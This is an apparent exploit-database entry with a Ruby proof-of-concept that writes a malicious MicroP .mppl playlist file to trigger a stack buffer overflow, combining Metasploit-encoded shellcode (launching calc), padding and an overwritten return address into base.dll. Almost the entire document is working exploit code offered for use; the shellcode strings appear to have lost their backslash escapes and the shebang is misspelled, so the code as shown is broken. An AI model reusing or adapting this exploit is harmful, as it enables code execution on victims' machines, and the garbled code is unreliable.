[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MicroP malicious mppl Buffer Overflow
# Published : 2010-08-23
# Author : James Fitts
# Previous Title : MS Excel Malformed FEATHEADER Record Exploit (MS09-067)
# Next Title : VLC Media Player DLL Hijacking


# Exploit Title: MicroP malicious MPPL Buffer Overflow
# Date: 08/23/10
# Author: james [AT] learnsecurityonline [DOT] com
# Software Link: http://sourceforge.net/projects/microp/
# Version: 0.1.1.1600
# Tested on: Windows XP SP3 EN

#! /usr/bin/evn ruby


# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
boom =      "xdbxc0x31xc9xbfx7cx16x70"
boom << "xccxd9x74x24xf4xb1x1ex58x31"
boom << "x78x18x83xe8xfcx03x78x68xf4"
boom << "x85x30x78xbcx65xc9x78xb6x23"
boom << "xf5xf3xb4xaex7dx02xaax3ax32"
boom << "x1cxbfx62xedx1dx54xd5x66x29"
boom << "x21xe7x96x60xf5x71xcax06x35"
boom << "xf5x14xc7x7cxfbx1bx05x6bxf0"
boom << "x27xddx48xfdx22x38x1bxa2xe8"
boom << "xc3xf7x3bx7axcfx4cx4fx23xd3"
boom << "x53xa4x57xf7xd8x3bx83x8ex83"
boom << "x1fx57x53x64x51xa1x33xcdxf5"
boom << "xc6xf5xc1x7ex98xf5xaaxf1x05"
boom << "xa8x26x99x3dx3bxc0xd9xfex51"
boom << "x61xb6x0ex2fx85x19x87xb7x78"
boom << "x2fx59x90x7bxd7x05x7fxe8x7b"
boom << "xca"

spl0it = boom + "x42" * 1132

EIP = [0x10022b63].pack('V') # call eax from base.dll

File.open("exploit.mppl", 'w') do |b|
	b.write spl0it + EIP
end